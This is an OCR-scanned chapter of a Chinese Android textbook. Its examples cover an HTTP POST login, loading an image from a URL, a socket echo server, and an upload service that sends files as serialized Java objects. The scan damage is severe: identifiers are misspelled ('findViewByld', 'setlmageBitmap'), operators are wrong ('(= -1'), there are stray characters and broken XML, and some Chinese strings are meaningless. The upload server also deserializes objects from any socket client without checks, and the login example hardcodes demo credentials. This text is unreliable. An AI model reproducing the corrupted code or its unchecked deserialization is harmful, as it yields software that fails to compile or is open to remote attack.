this.info = (TextView) super.findViewByld(R.id.info); // 取 得 文本 组 件 
boolean flag = false; /判断 标记 
try{ 

HttpPost request = new HttpPost(URL); // 提 交 路 径 


List<NameValuePair> params = new ArrayList<NameValuePair>();// 设 置 提交 参数 
params.add(new BasicNameValuePair("id", "lixinghua")); // 设 置 id 参数 
params.add(new BasicNameValuePair("password", "mldn")); V/ 设 置 password 
request.setEntity(new UrlEncodedFormEntity(params, 


HTTP.UTF_8)); /设置 编码 
HttpResponse response = new DefaultHttpClient() 
.execute(request); /接收 回应 
if (response.getStatusLine().getStatusCode() != 404){ /请求 正常 
flag = Boolean.parseBoolean(EntityUtils.toString( 
response.getEntity()).trim()); /接收 返回 的 信息 
} catch (Exception e){ 
e.printStackTrace() ; 
info.setText("Web 服务 器 连接 失败 。") ; 
1 
if (flag) { 1/ 判断 返回 数据 
info.setText(" 用 户 登录 成 功 ! ") ; /设置 文本 
}else{ 
info.setText(" 用 户 登录 失败 !") ; // 设 置 文 本 
} 


} 
} 
【 例 12-6】 在 AndroidManifest.xml 文件 中 配置 权限 
<Uses-permission android:name="android.permission.INTERNET" /> 
本 程序 采用 POST 提交 方式 连接 到 了 androidjsp 页 面 ， 所 有 的 参数 都 保存 在 List 集合 中 ， 
当 用 户 接收 服务 器 返回 给 客户 端的 数据 之 前 ， 先 判断 是 否 是 404 错误 ， 如 果 不 是 ， 则 表示 已 经 
E 常 连接 ， 则 将 返回 的 数据 变 为 boolean 型 ， 以 方便 判断 如 何 设置 显示 信息 。 本 程序 的 运行 效果 


已 
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如 图 12-3 所 示 。 


12.1.3” 读 取 网 络 图 片 


通过 前 面 的 两 个 范例 ， 相 信 读 者 已 经 清楚 了 如 何 使 用 Android 进行 Web 程序 的 互 操作 ， 下 
面 再 演示 一 个 读 取 网 络 图 片 到 Android 手机 上 显示 的 操作 ， 本 程序 的 操作 原理 如 图 12-4 所 示 。 


=Iolxl 


WH nto msnyavo rfandrod ond od bock- po | 


图 12-4 读 取 网 络 图 片 


通过 图 12-4 可 以 发 现 ， 如 果 需 要 将 Web 上 的 图 片 (URL: http://www.mldnjava.cn/android/ 
android book.jpg) 在 Android 中 显示 ， 则 需要 将 读 取 进 来 的 数据 使 用 Bitmap 类 进行 转换 ， 而 后 
将 要 显示 的 图 片 设置 到 ImageView 组 件 中 进行 显示 。 
【 例 12-7】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 布 局 管理 器 高 度 为 屏幕 高 度 
android:gravity="center> // 居 中 显示 
<ImageView /定义 图 片 显示 视图 

android:id="@+id/img” // 组 件 ID， 程 序 中 使 用 

android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 

android:layout_height="wrap_contenty> // 组 件 高 度 为 图 片 高 度 
</LinearLayout> 


在 本 布局 管理 器 中 定义 了 一 个 ImageView 组 件 ， 但 是 此 组 件 的 内 容 要 通过 网 络 进行 读 取 。 
【 例 12-8】 定义 Activity 程序 ， 读 取 网 络 图 片 

package org.Ixh.demo; 

import java.io.ByteArrayOutputStream; 

import java.io.InputStream; 

import java.net.HttpURLConnection; 

import java.net.URL; 

import android.app.Activity; 
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import android.graphics.Bitmap; 

import android.graphics.BitmapFactory; 

import android.os.Bundle; 

import android.widget.ImageView; 

public class MyWebDemo extends Activity { 
private static final String PATH = "http://www.mldnjava.cn/android/android_book.jpg" ; 
private ImageView img = null ; /定义 图 片 显 示 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.img = (ImageView) super findViewByld(R.id.img) ; /取得 组 件 
try{ 
byte data [] = this.getUrlData() ; /接收 数据 
Bitmap bm = BitmapFactory.decodeByteArray(data, 0, data.length);// 生 成 图 形 
this.img.setlmageBitmap(bm) ; /显示 图 片 
} catch (Exception e){ 
e.printStackTrace(); 
i 
} 
public bytel] getUrlData() throws Exception { // 取 得 网 络 图 片 数据 
ByteArrayOutputStream bos = null ; // 内 存 输 出 流 
try{ 
URL url = new URL(PATH) ; // 定 义 URL 
bos = new ByteArrayOutputStream() ; /定义 内 存 输出 流 
byte data [] = new byte[1024] ; /每 次 读 取 1024 
HttpURLConnection conn = (HttpURLConnection) url.openConnection(); /打开 
InputStream input = conn.getlnputStream() ; // 取 得 输入 流 
intlen = 0; 1/ 接收 读 取 长 度 
while((len = input.read(data)) (= -1) { // 没 有 读 取 到 底部 
bos .write(data, 0, len) ; // 向 内 存 中 保存 
1 
return bos.toByteArray() ; // 变 为 字 节 数组 返回 
} catch (Exception e) { 
throw e ; 
}finally { 
if (bos != null){ 
bos.close(); // 关 闭 输 出 流 
} 
} 


} 
| 
【 例 12-9】 在 AndroidManifestxml 文件 中 配置 权限 

<Uses-permission android:name="android.permission.INTERNET” /> 

本 程序 直接 通过 给 定 的 URL 地 址 (PATH 定义 ) 进行 图 片 资源 的 读 取 ， 由 于 不 确定 要 读 取 
的 图 片 大 小 ， 所 以 在 程序 中 使 用 了 ByteArrayOutputStream 进行 数据 的 接收 ， 而 后 通过 
BitmapFactory 将 接收 到 的 二 进 制 数据 变 为 图 片 数据 ， 并 设置 到 ImageView 中 显示 ， 程 序 的 运行 
效果 如 图 12-5 所 示 。 
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:让 提示 
www.mldnjava.cn 上 为 读者 提供 了 相关 的 资源 。 
为 方便 读者 进行 网 络 连接 的 学 习 ， 魔 乐 科技 专门 为 读者 提供 了 实验 的 程序 ， 读 者 可 以 通 
过 以 下 地 址 找到 相关 的 资源 。 
回 图 片 : http://www.mldnjava.cn/android/android book.jpg。 
回 音频 : http://www.mldnjava.cn/android/mldn javamp3。 
加 视频 : http://www.mldnjava.cn/android/mldn.3gp。 
读者 也 可 以 直接 使 用 以 上 地 址 进行 程序 的 测试 。 


Wl 5554:Android_2.3 


魔 乐 互动 
3G 项 目 开 发 部 
ne 


承接 各 类 3G 项 目 开发 


DAA 


图 12-5 读 取 网 络 图 片 

掌握 了 本 程序 的 实现 思路 之 后 ， 用 户 可 以 根据 自己 的 实际 需要 对 本 程序 进行 扩展 ， 例 如 ， 
通过 网 络 下 载 MP3 或 视频 等 ， 都 是 采用 类 似 的 方式 完成 的 ， 本 书 对 此 部 分 不 再 做 重复 介绍 ， 有 
兴趣 的 读者 可 以 自行 实验 。 


12.2 与 Socket 交换 数据 


Android 手机 虽然 可 以 方便 地 与 Web 服务 器 进行 数据 的 交互 操作 ， 但 是 这 种 做 法 只 适合 于 
简单 的 数据 传输 ， 对 于 过 于 复杂 的 数据 (如 上 传 图 片 等 ) ， 实 现 起 来 就 非常 复杂 了 ， 所 以 在 实 
际 的 Android 开发 中 , 往往 会 使 用 一 个 自 定义 的 服务 器 完成 数据 的 交互 , 这 一 点 类 似 于 C/S 应 
模式 (Client/Service， 客 户 端 /服务 器 端 操作 ) 。 而 这 样 的 程序 服务 器 端 需要 使 用 Socket 进行 开 
发 ， 并 且 直 接 使 用 IO 流 进行 数据 的 传递 。 
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i 


“关于 Java 网 络 编程 部 分 的 知识 。 
Socket 属于 Java 网 络 编程 的 一 种 实现 ， 如 果 对 此 部 分 不 清楚 ， 可 以 参考 《名 师 讲 坛 一 
Java 开发 实战 经 典 》 第 19 章 的 内 容 。 


者 理解 方便 ， 在 本 部 分 的 Socket 程序 都 采用 单线 程 的 方式 完成 ， 即 所 有 的 操作 都 在 主 方法 中 完 
成 ， 而 如 果 要 在 服务 器 上 实现 多 线程 操作 ， 用 户 可 以 参考 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 
- 书 ， 其 中 有 完整 的 讲解 。 


12.2.1 完成 简单 的 Echo 程序 


Echo 程序 是 在 Socket 网 络 编程 中 使 用 最 多 的 一 个 操作 案例 ， 下 面 就 使 用 Android 和 Socket 
完成 本 功能 的 开发 : 当 服务 器 端 接收 到 用 户 发 来 的 信息 请 求 之 后 ， 将 在 前 面 加 上 标 头 Android :， 
并 将 信息 发 送 回 Android 端 。 

【 例 12-10】 定义 服务 器 端 程序 一 一 MyServer.java 

package org.Ixh.server'; 

import java.io.BufferedReader; 

import java.io.InputStreamReader 

import java.io.PrintStream; 

import java.net.ServerSocket; 

import java.net.Socket; 

public class MyServer { 


public static void main(String[] args) throws Exception { 1/ 所 有 异常 抛 出 
ServerSocket server = new ServerSocket(8888); // 在 8888 端口 上 监听 
Socket client = server.accept(); /接收 客户 端 请 求 


PrintStream out = new PrintStream(client.getOutputStream()); /取得 客户 端 输出 流 
BufferedReader buf = new BufferedReader(new InputStreamReader(client 


.getlnputStream())); // 字 符 缓冲 区 读 取 
StringBuffer info = new StringBuffer(); /接收 客户 端的 信息 
info.append("Android : "); // 回 应 数据 
info.append(buf.readLine()); /接收 数据 
out.print(info); /发 送信 息 
out.close(); /关闭 输出 流 
buf.close(); /| 关闭 输 入 流 
client.close(); // 关 闭 客户 端 连 接 
server.close(); /| 关闭 服务 器 端 连 接 


} 


} 
本 程序 将 在 8888 端口 上 等 待 客户 端的 连接 ， 之 后 分 别 取 得 客户 端的 输入 流 和 输出 流 对 象 ， 
并 将 接收 到 的 客户 端 信息 处 理 之 后 发 送 给 服务 器 端 。 以 上 程序 运行 之 后 将 自动 进入 阻塞 状态 ， 
并 等 待 客户 端 进行 连接 ， 而 本 次 的 客户 端 将 通过 Android 完成 。 
【 例 12-11】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
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xmlns:android= http:Vschemas.android comyapkresanaroid” 


android:orientation="vertical" /所 有 组 件 垂直 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 

<Button /按钮 组 件 
android:id="@+id/but” // 组 件 ID， 程序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” 1// 组 件 高 度 为 文字 高 度 
android:text=" 节 克 SocketServer"/> // 默 认 显示 文字 

<TextView // 文 本 显示 组 件 
android:id="@+id/info”" 1/ 组件 iD， 程序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content" // 组 件 高 度 为 文字 高 度 
android:text= "等 僚 角 务 吏 细 发 典 回 航 显 元 信息 .人 > /默认 显示 文字 

</LinearLayout> 


本 程序 定义 了 一 个 按钮 组 件 和 一 个 文本 显示 组 件 , 当 用 户 单 击 按钮 之 后 会 发 送信 息 到 Socket 


服务 器 端 ， 而 后 服务 器 端 返回 的 数据 在 文本 显示 组 件 中 显示 。 


【 例 12-12】 定义 Activity 程序 ， 连 接 服 务 器 
package org.Ixh.demo; 
import java.io. BufferedReader; 
import java.io.InputStreamReader; 
import java.io.PrintStream; 
import java.net.Socket; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget. TextView; 
public class MyClientDemo extends Activity { 


private Button send = null; /定义 按钮 组 件 
private TextView info = null; /定义 文本 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 
this.send = (Button) super.findViewByld(R.id.send); // 取 得 组 件 
this.info = (TextView) super.findViewByld(R.id.nfo); /取得 组 件 
this.send.setOnClickListener(new SendOnClickListenerImpl()); 
} 
private class SendOnClickListenerImpl implements OnClickListener{ 
@Override 
public void onClick(View view) { 
try{ 
Socket client = new Socket("192.168.1.121" 
,8888); /指定 服务 器 
PrintStream out = new PrintStream( 
client getOutputStream()); 1// 打 印 流 输出 


BufferedReader buf = new BufferedReader( 
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new InputStreamReader( 


client.getlnputStream())); 
out.printin(" 北 京 魔 乐 科技 软件 学 院 "); 
MyClientDemo.this .info.setText(buf.readLine()); 


out.close(); 

buf.close() ; 

client.close(); 
}catch (Exception e){ 

e.printStackTrace(); 
b 


} 
} 


/| 缓冲 区 读 取 
/发送 数据 
/设置 文本 
// 关 闭 输出 流 
// 关 闭 输入 流 
1/ 关闭 连接 


【 例 12-13】 在 AndroidManifest.xml 文件 中 配置 权限 
<Uuses-permission android:name="android.permission.INTERNET" /> 


本 程序 的 主要 功能 是 在 按钮 中 为 其 设置 单 才 


事件 ， 这 样 当 用 户 单 击 此 按钮 之 后 ， 会 将 信息 


直接 发 送 给 服务 器 端 ， 并 且 在 文本 显示 组 件 中 显示 从 服务 器 端 接 收 到 的 数据 信息 。 发 送 数据 之 


前 的 操作 界面 如 图 12-6 所 示 。 接 收服 务 器 端 
SE 


甘 | 出 11:12 


CEERETITES 


客户 端 


连接 SocketServer 


图 12-6 连接 前 的 界面 


12.2.2 上 传 文件 


回应 数据 之 后 的 界面 如 图 12-7 所 示 。 


5554:Android_2.3 -Iolxl 
革 是 | 年 11:13 
客户 端 


连接 SocketServer 


图 12-7 连接 后 的 界面 


掌握 了 Socket 的 基本 功能 之 后 ， 下 面 再 使 用 Android 和 Socket 完成 一 个 文件 上 传 的 功能 ， 
但 是 在 本 程序 中 不 仅 要 完成 图 片 的 上 传 , 同时 会 附加 多 种 数据 (如 文件 的 标题 、 大 小 、 类 型 等 ) ， 


要 想 实现 这 样 的 数据 传送 ， 可 以 采用 两 种 方式 完成 。 


(1) 直接 将 所 有 数据 通过 字 节 数组 传送 


如 果 采 用 这 种 方式 ， 则 需要 传送 两 类 数据 ;一 种 数据 类 型 是 自 定义 的 头 信息 〈 如 文件 类 型 、 
大 小 等 都 通过 头 信息 传递 ) ; 另外 一 种 数据 类 型 才 是 真正 要 上 传 的 文件 内 容 。 但 是 这 样 做 在 服 
务 器 端的 接收 会 比较 麻烦 ， 因 为 所 有 的 数据 都 是 按照 字 节 流 的 方式 传输 的 ， 所 以 必须 在 各 种 不 
同 的 数据 间 设 置 分 隔 符 ， 而 后 取出 数据 时 则 必须 处 理 掉 这 些 分 隔 符 ， 此 种 方式 如 图 12-8 所 示 。 


具体 的 数据 信息 。 必 让 


文件 类 型 、 大 小 、 
名 称 等 信息 
| 头 信息 
字 节 数据 


101000100-- 


(2) 通过 对 象 序列 化 的 方式 完成 

使 用 一 个 专门 的 上 传 数据 封装 类 ， 将 所 有 的 数据 内 容 、 文 件 内 容 〈 以 字 节 数组 保存 ) 进行 
封装 ， 而 后 利用 对 象 序列 化 的 方式 ， 将 该 对 象 传送 到 服务 器 端 ， 如 图 12-9 所 示 。 使 用 这 种 方式 
处 理 较为 容易 ， 也 很 方便 ， 所 以 在 本 书 中 将 采用 该 方式 。 


| 字 节 数据 


文件 头 信息 Ce > 
Er 
最 务 器 


图 12-9 对象 序列 化 传送 


Ee 


广 提示 

本 程序 只 完成 基本 功能 。 

考虑 到 读者 浏览 程序 的 方便 性 ， 在 本 程序 中 ， 服 务 器 端 并 不 会 完成 数据 向 数据 库 中 的 真 
实 保存 , 而 只 是 在 服务 器 端 后 台 打 印 和 保存 图 片 , 如 果 有 需要 , 用 户 可 以 自行 编写 后 台 DAO、 
Service 层 进行 开发 ， 如 果 不 清楚 此 知识 点 ,可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 最 
后 一 个 案例 讲解 视频 ， 或 者 参考 www.mldnjava.cn 上 的 相关 视频 资源 。 

对 象 序列 化 指 的 是 将 内 存 中 的 对 象 转化 为 字 节 流 的 方式 ， 这 样 就 可 以 完成 数据 的 传输 ， 
而 对 象 序列 化 的 概念 可 以 参考 《名 师 讲 坛 一 Java 开发 实战 经 典 》 第 12 章 的 内 容 。 


【 例 12-14】 定义 包装 数据 的 序列 化 对 象 类 一 一 UploadFile java 
package org.Ixh.util; 
import java.io.Serializable; 
@SuppressWarnings("serial") 


public class UploadFile implements Serializable { /进行 序列 化 传输 

private String title; /信息 标题 
private byte[] contentData; /文件 内 容 
private String mimeType; /文件 类 型 
private long contentLength; /文件 长 度 
private String ext; // 扩 展 名 

public String getExt() { 

return ext; 


h 
public void setExt(String ext) { 
this.ext = ext; 


上 
public String getMimeType(){ 
return mimeType; 


public void setMimeType(String mimeType) { 
this.mimeType = mimeType:; 

} 

public long getContentLength() { 
return contentLength; 


public void setContentLength(long contentLength) { 
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this.contentLength = contentLength; 


public String getTitle() { 
return title; 


} 
public void setTitle(String title) { 
this .title = title; 


} 
public byte[l] getContentData() { 
return contentData; 


} 
public void setContentData(byte[] contentData) { 
this.contentData = contentData; 


} 


本 类 的 对 象 主要 用 于 Android 手机 端 和 Socket 服务 器 端的 数据 传输 ， 所 以 本 类 首先 实现 了 
Serializable 接口 ， 而 后 所 有 的 数据 部 通过 类 属性 保存 。 男 外， 该 类 在 服务 器 端 和 Android 客户 端 
的 项 目 中 都 需要 保存 ， 而 且 名 称 要 求 完全 一 致 。 

义 完 传输 类 之 后 ， 下 面 首先 5 完成 Android 客户 端的 开发 。 

【 例 12-15】 定义 布局 管理 器 一 一 main.xml 

<?xml version= "1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 按 钮 组 件 

android:id="@+id/send”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 雄 克 SocketServer" /> // 显 示 文 字 
<TextView // 文 本 显示 组 件 
android:id="@+id/info” // 组 件 ID， 程 序 中 使 用 
android:layout_width="W/_parent" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "等 僚 碾 务 恤 纲 发 典 右 航 显 元 售 鼻 …/> /| 默认 显示 文字 
</LinearLayout> 


本 布局 管理 器 中 定义 了 一 个 按钮 组 件 和 一 个 文本 显示 组 件 ， 其 中 按钮 组 件 的 主要 功能 是 绑 

定单 击 事件 ， 将 图 片 信息 传送 到 服务 器 端 ， 而 后 通过 文本 显示 组 件 来 显示 成 功 或 失败 的 信息 。 
【 例 12-16】 定义 Activity 程序 连接 服务 器 端 (分 段 显 示 ) 

package org.Ixh.demo; 

import java.io.BufferedReader; 

import java.io.ByteArrayOutputStream; 

import java.io.File; 

import java.io.FileInputStream; 

import java.io.InputStream; 

import java.io.InputStreamReader; 

import java.io.ObjectOutputStream; 
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import java.net.Socket; 

import org.Ixh.util.UploadFile; 

import android.app.Activity; 

import android.os.Bundle; 

import android.os.Environment; 

import android.os.Handler; 

import android.os.Message; 

import android.view.View; 

import android.view.View.OnClickListener; 
import android.widget.Button; 

import android.widget. TextView; 

public class MyClientDemo extends Activity { 


private Button send = null; // 定 义 按钮 组 件 
private TextView info = null; // 文 本 显示 组 件 
private static final int FINISH = 0 ; // 操 作 标记 
private Handler myHandler = new Handler(){ // 定 义 Handler 
@Override 
public void handleMessage(Message msg) { // 处 理 消息 
switch(msg.what) { 
case FINISH: 
String result = msg.obj.toString() ; // 取 出 数据 
if ("true".equals(result)) { // 操 作成 功 
MyClientDemo.this.info.setText(" 操 作成 功 !"); /设置 文本 
}else{ 
MyClientDemo.this.info.setText(" 操 作 失 败 !"); /设置 文本 
} 
break ; 


} 
hs 
旦 序 首先 通过 findViewById() 方 法 取得 了 布局 管理 器 中 定义 的 组 件 对 象 , 而 后 为 按钮 组 件 绑 
定 了 一 个 单 击 事件 ， 由 于 本 程序 将 在 线程 类 中 完成 内 容 的 上 传 ， 所 以 当 上 传 完成 之 后 可 以 使 用 
Message、Handler 在 文本 组 件 中 设置 显示 结果 。 
private class SendoOncClickListenerlImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
try{ 


final Socket client = new Socket("192.168.1.121", 8888); // 指 定 服务 器 
BufferedReader buf = new BufferedReader(new InputStreamReader( 


client.getlinputStream())); /缓冲 区 读 取 
new Thread(new Runnable(){ // 创 建 线程 对 象 
@Override 
public void run() { 
try{ 


ObjectOutputStream oos = new ObjectOutputStream( 
client.getOutputStream()); // 对 象 输出 流 
UploadFile myFile = SendOnClickListener.this 
.getUploadFile(); // 取 得 封装 的 数据 
oos writeObject(myFile); // 输 出 对 象 
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String str = buf readLine() ; // 读 取 返 回 的 数据 
oos .close(): /关闭 输出 流 


Message msg = MyClientDemo.this.myHandler 
.obtainMessage(FINISH, stm); /创建 Message 
MyClientDemo this.myHandlersendMessage(msg) ;/ 发 送 消息 


buf.close(); // 关 闭 输入 流 
client.close(); 1/ 关闭 客 户 端 连接 
} catch (Exception e) { 
} 
b 
}).start(); /启动 子 线程 
} catch (Exception e){ 
e.printStackTrace(); 


} 


} 

本 事件 处 理 类 的 主要 功能 是 将 通过 UploadFile 类 封装 的 数据 使 用 ObjectOutputStream 发 送 到 
服务 器 上 ， 考 虑 到 传送 的 时 间 较 长 ， 所 以 专门 定义 了 一 个 传输 的 线程 类 ， 当 数据 发 送 到 服务 器 
后 ， 服 务 器 端 会 返回 true 或 false 的 标记 以 告知 客户 端 数据 是 否 发 送 成 功 。 

private UploadFile getUploadFile() throws Exception { 


UploadFile myFile = new UploadFile(); // 上 传 封 装 
myFile.setTitle("DISNEY 公园 "); /设置 标题 
myFile.setMimeType("image/jpeg"); /文件 类 型 
File file = new File(Environment.getExternalStorageDirectory() 

-toString() + File.separator + "disney.jpg"); /| 图片 路 径 
InputStream input = null; // 输 入流 读 取 
try{ 

input = new FileInputStream(file); /文件 输入 流 
ByteArrayOutputStream bos = new ByteArrayOutputStream();// 字 节 流 
byte datal] = new byte[1024]; // 开 辟 读 取 空 间 
int len = 0; 
while ((len = input.read(data)) != -1) { // 循 环 读 取 
bos.write(data, 0, len); /保存 数据 
| 
myFile.setContentData(bos .toByteArray()) ; /保存 所 有 数据 
myFile.setContentLength(file length()) ; // 取 得 文件 大 小 
myFile.setExt("jpg") ; /文件 后 级 
}catch (Exception e) { 
throw e; 
}finally { 
input.close(); // 关 闭 输入 流 
} 


return myFile; 


} 
> 
getUploadFile() 是 一 个 封装 数据 的 操作 方法 ， 在 本 程序 中 ， 直 接 将 存储 卡 上 的 一 张 图 片 
(disney.jpg) 包装 到 UploadFile 类 的 contentData 属性 中 ， 而 后 分 别 设置 上 传 的 图 片 类 型 和 文件 
后 级 等 信息 。 
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【 例 12-17】 配置 访问 权限 
<Uses-permission android:name="android.permission.INTERNET" /> 
客户 端 开发 完成 之 后 ， 下 面 进行 服务 器 端的 开发 ， 在 本 程序 中 ， 服 务 器 端 将 采用 多 线程 操 
作 机 制 完成 。 
【 例 12-18】 定义 多 线程 操作 类 (分 段 列 出 》 
package org.Ixh.server'; 
import java.io.File; 
import java.io.FileOutputStream; 
import java.io.IOException; 
import java.io.ObjectlnputStream; 
import java.io.OutputStream; 
import java.io.PrintStream; 
import java.net.Socket; 
import java.util.UUID; 
import org.Ixh.util.UploadFile; 


public class ServerThreadUtil implements Runnable { // 定 义 线程 类 
private static final String DIRPATH = "D:" + File.separator + "mldnfile” 
+ File.separator; // 保 存 文件 夹 
private Socket client = null; // 接 收 客户 端 
private UploadFile upload = null; // 传 递 对 象 
public ServerThreadUtil(Socket client) { // 通 过 构造 方法 设置 Socket 
this.client = client; /| 客户 端 Socket 
System.out.printIn(" 新 的 客户 端 连接 .…"); // 提 示 信 息 
} 


每 一 个 线程 类 都 用 于 不 同 的 Socket 客户 端 连 接 ， 所 以 每 一 个 连接 到 服务 器 端 上 的 Socket 客 
户 端 都 使 用 一 个 线程 对 象 进行 封装 。 


public void run(){ // 覆 写 run() 方 法 
try{ 
PrintStream out = new PrintStream( 
client.getOutputStream()); // 取 得 客户 端的 输出 流 
ObjectlnputStream ois = new ObjectlnputStream(client 
.getlnputStream()); // 取 得 客户 端的 输入 流 
this.upload = (UploadFile) ois.readObject(); // 读 取 对 象 


System.outprintln(" 文 件 标题 : " + this.upload.getTitle()); 
System.out println(" 文 件 类 型 : " + this.upload.getMimeType()); 
System.outprintln(" 文 件 大 小 : "+ this.upload.getContentLength()); 


out.print(saveFile()); // 返 回 标记 
} catch (Exception e){ 
e.printStackTrace(); 
}finally { 
try{ 
this.client.close(); /关闭 客户 端 连接 


} catch (IOException e){ 
e.printStackTrace(); 


} 
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当 一 个 线程 对 象 启动 时 都 会 使 用 ObjectInputStream 类 反 序 列 化 发 送 来 的 对 象 信息 ， 而 后 直 
接 利用 System.out.printIn() 将 对 象 包装 的 一 些 基 本 信息 进行 输出 ， 并 调用 saveFile0 方 法 保存 
UploadFile 类 所 携带 的 文件 数据 。 


private boolean saveFile() throws Exception { /保存 文件 
File file = new File(DIRPATH + UUID.randomUUID() + "." 
+ this.upload.getExt()); // 文 件 路 径 
if (Ifile.getParentFile().exists()) { // 父 文件 夹 不 存在 
file.getParentFile().mkdirs(); // 创 建文 件 夹 
} 
OutputStream output = null; // 定 义 输出 流 
try{ 
output = new FileOutputStream(file); // 输 出 流 
output.write(this.upload.getContentData()); /保存 数据 
return true; /操作 成 功 
} catch (Exception e){ 
throw e; /异常 向 上 抛 出 
} finally { 
output.close(); /关闭 输出 流 
} 
} 


} 
saveFile0 方 法 的 功能 就 是 进行 文件 的 保存 ， 而 且 保存 的 每 一 张 图 片 名 称 都 采用 UUID 的 方 
法 动态 生成 。 
【 例 12-19】 在 服务 器 端 ， 调 用 线程 类 启动 服务 
package org.Ixh.server' 
import java.net.ServerSocket; 
public class MyServer { 
public static void main(String[] args) throws Exception { 


ServerSocket server = new ServerSocket(8888); /| 服务 器 端 端口 
boolean flag = true; // 定 义 标记 ， 可 以 一 直 死 循环 
while (flag) { // 通 过 标记 判断 循环 
new Thread(new ServerThreadUtil(server.accept())).start(); /启动 线程 
} 
server.close(); // 关 闭 服务 器 


} 


} 
旦 序 运行 后 的 显示 界面 如 图 12-10 所 示 ， 上 传 完成 后 的 界面 如 图 12-11 所 示 。 


CERTTTTTTER 本 elxl CE 


连接 SocketServer 


客户 端 


连接 SocketServer 


图 12-10 ”启动 界面 图 12-11 上 传 成 功 


待 有 端 发 送 回 的 显示 信息 
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12.3 与 Web Service 进行 通 人 
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-提示 - 

关于 本 节 内 容 。 

要 想 学 习 本 节 内 容 ， 则 首先 必须 清楚 Web Service 的 概念 ， 并 且 通 过 代码 实现 过 Web 
Service 程序 的 开发 与 调用 ， 否 则 无 法 展开 学 习 ， 而 关于 这 方面 的 内 容 ， 读 者 可 以 参考 
www.mldnjava.cn 上 的 课程 进行 学 习 。 另 外 ， 需 要 提醒 读者 的 是 ， 要 进行 Android 应 用 程序 
开发 ， 本 节 的 内 容 并 不 是 必需 的 ， 而 且 本 节 考 虑 到 篇 幅 的 问题 ， 只 是 讲解 了 一 个 最 基本 的 案 
例 操作 ， 不 涉及 安全 、 业 务 方面 的 内 容 ， 如 果 觉 得 有 困难 ， 可 以 暂时 忽略 本 节 内 容 ， 继 续 向 
下 学 习 。 


前 面 已 经 讲解 了 如 何 通过 Android 与 Web 服务 器 以 及 Socket 程序 通信 的 操作 ， 但 是 之 前 的 
两 种 程序 本 身 会 存在 平台 的 制约 ， 如 果 用 户 要 想 搭建 一 个 异步 的 业务 中 心 操作 ， 那 么 在 实际 的 
开发 中 都 会 使 用 Web Service 技术 ,将 业务 操作 定义 成 一 个 远程 接口 ， 通 过 调用 该 接口 完成 指定 
的 功能 。 


rr 


标示 
关于 Web Service。 
学 习 过 Java EE 开发 ( 如 果 没 有 学 习 ， 建 议 先 学 习 《 名 师 讲 坛 一 一 Java Web 开发 实战 经 
典 》“ 基 础 篇 ”以 及 www.mldnjava.cn 上 提供 的 课程 进行 研究 ) 的 读者 应 该 清楚 ， 在 项 目 开 
发 中 ， 使 用 Java Web 开发 的 程序 只 能 适合 于 Java 编写 的 客户 端 显示 (如 JSP 就 是 客户 端 显 
， 示 程序 ) ， 而 如 果 一 个 应 用 程序 要 求 跨 平台 ， 则 就 只 能 利用 Web Service 作为 后 台 的 业务 中 
心 ,采用 SOAP 协议 ,通过 XML 表示 传输 的 数据 , 而 前 台 则 可 以 任意 更 改 , 如 可 以 更 改 为 NET 
或 PHP， 所 以 Web Service 技术 是 一 个 专注 于 业务 开发 的 技术 。 


Web Service 程序 也 是 一 种 C/S (客户 端 /服务 器 端 ) 程序 ， 要 想 搭 建 Web Services 服务 器 端 ， 
可 以 使 用 AXIS、XFire、CXF 和 JAX-WS 等 多 种 技术 完成 ， 考 虑 到 使 用 的 广泛 性 和 普遍 性 ， 本 
书 直接 使 用 XFire 进行 服务 器 端的 搭建 。 


12.3.1 使 用 XFire 搭建 服务 器 端 程序 


要 想 使 用 XFire 进行 Web Service 服务 器 端 程序 的 开发 ， 可 以 直接 使 用 MyEclipse 进行 ， 在 
此 平台 中 已 经 默认 为 用 户 提供 了 Web Service 的 开发 支持 。 


rr 


提示 
本 书 使 用 MyEclipse 8.5 版 本 。 
: 本 书 进行 Web Service 开发 时 所 采用 的 MyEclipse 开发 版 本 为 8.5， 如 果 读 者 对 此 平台 不 
: 熟悉 ， 可 以 参考 《名 师 讲坛 一 一 Java Web 开发 实战 经 典 》“ 基 础 篇 ”的 附录 内 容 。 
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建立 Web Service 项 目的 步骤 如 下 。 
(1) 启动 MyEclipse， 首 先 建立 一 个 名 为 FileProject 的 WebServices 项 目 ， 用 户 可 以 直接 选 
